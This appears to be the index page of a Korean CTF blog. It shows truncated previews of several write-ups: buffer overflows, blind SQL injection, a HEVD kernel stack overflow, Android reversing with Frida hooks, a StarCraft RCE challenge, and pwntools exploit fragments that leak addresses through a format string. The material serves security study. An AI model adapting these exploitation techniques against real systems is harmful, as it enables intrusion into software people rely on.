만두만두

TFCCTF 2022 Write-up 마지막 씨텝 나간게 벌써 1년이 훌쩍 넘었다... 감을 다 잃은 거 같아서 그냥 가볍게 주말에 열리는 대회에 참가했당. 푼거 PWN Random RANDOM I created a random number generator as a project. Unfortunately it only has one option, but I will add more soon (or not)! 걍 1337인가 입력하면 플래그 줌. winner WINNER You just won a contest! What do you do? What is the flag? 걍 bof 문제엿음. win 함수 호출하면 끝. stack alignment 맞춰주기위해 ret 하나 추가 sol.py #!/usr..

[CSAW 2020] PwnVoltex[SUMMARY] Blind SQLiOverview리듬 게임 문제이며 서버가 제공되었음.Targethttps://github.com/Drewol/unnamed-sdvx-cloneReadmeHello! ​ We are going to have some fun and play my fav game: https://github.com/Drewol/unnamed-sdvx-clone ​ You can grab it prebuilt from here: ​ Windows: https://drewol.me/Downloads/Game.zip Linux (needs github login): https://github.com/Drewol/unnamed-sdvx-clone/suites/..

[HEVD] StackOverflowStack Overflow 발생하는 과정은 생략.Environment (ntoskrnl)Microsoft Windows [Version 10.0.18362.1082] (c) 2019 Microsoft Corporation. All rights reserved.function name 검색kd> x HEVD!*stack* fffff802`5c346594 HEVD!BufferOverflowStackIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *) fffff802`5c3466e0 HEVD!TriggerBufferOverflowStackGS (void *, unsigned int64) fffff802`5c34776c HEV..

[GoogleCTF2020] Android writeupSummary Revreverse.apkExtended Euclidean algorithmcom.google.ctf.sandbox.ő일단 다음과 같이 뻐킹하게도 디컴파일이 안됨.package com.google.ctf.sandbox; ​ import android.app.Activity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; ​ /* JADX ERROR: NullPointerException in pass: ExtractField..

StarCraft ExploitChallenge : https://ctftime.org/task/11096Summary : EUD (Extended Unit Death) Trigger, OOB, RCEpatch 파일로 생성된 취약점을 통한 스타크래프트 RCE AttackPrerequisiteinstall_gateway.bat custom battle net 주소를 추가하는 스크립트 INSTRUCTIONS.mdStarcraft.1.16.1.patch 취약점을 만드는 패치 파일https://files.theabyss.ru/sc/starcraft.zip Starcraft 1.16.1 (brood war)Settinginstall StarCraftApply patchch4rli3@TOPDESK:/mnt/d/bA..

uncrackable 2jsfunction dumpAddr(info, addr, size) { if (addr.isNull()) return; console.log('Data dump ' + info + ' :'); var buf = Memory.readByteArray(addr, size); console.log(hexdump(buf, { offset: 0, length: size, header: true, ansi: false })); } ​ Java.perform(function(){ console.log("Hooking Start"); var System = Java.use("java.lang.System"); System.exit.implementation = function(){ console..

uncrackable 1jsJava.perform(function(){ console.log("[+] Hooking Start"); var S = Java.use("java.lang.System"); S.exit.implementation = function(){ console.log("System.exit Called"); } ​ var MainActivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity"); var a = Java.use("sg.vantagepoint.a.a"); a.a.implementation = function(args1, args2){ var retval = this.a(args1, args2); console.log(retv..

#!/usr/bin/pythona = " FXWce2101J MLfest?'rsH TSbeweO himfw jiqtk gils! h;e(l8p,fCucl3 noyrs pn o!tt!#:*)UUUU"'''*(_BYTE *)(i + normal) = num->str[(unsigned __int8)(v5 ^ i) % (int)(unsigned __int16)num->length] ^ v5 ^ i ^ *(_BYTE *)(i + flag_byte)normal[0] = num->str[checksum % num->length] ^ checksum ^ flag_byte table = [222L, 217L, 161L, 249L, 237L, 192L, 168L, 255L, 225L, 214L, 172L, 145L, 16..

Full protectionName : ChanHee ParkSummary : fsb leak, bofExploit#!/usr/bin/python from pwn import * ​ r = process('./chall', env={'LD_PRELOAD':'libc-2.27.so'}) lib = ELF('./libc-2.27.so') #context.log_level = 'debug' #gdb.attach(r) ​ r.sendline('%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p') _leak = r.recvline().split('.') print(_leak) _stack = int(_leak[0], 16) _libc = int(_le..

Baby noteName : Chanhee ParkSummary : Integer type confusion, Uninitialized stack memory, OOB$ checksec chall [*] '/home/ch4rli3kop/Desktop/asis2020/babynote/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledCode Analysismainint __cdecl main(int argc, const char **argv, const char **envp) { __int16 v4; // [rsp+Eh] [rbp-2h] ​ v4 = readuint("n: "); n..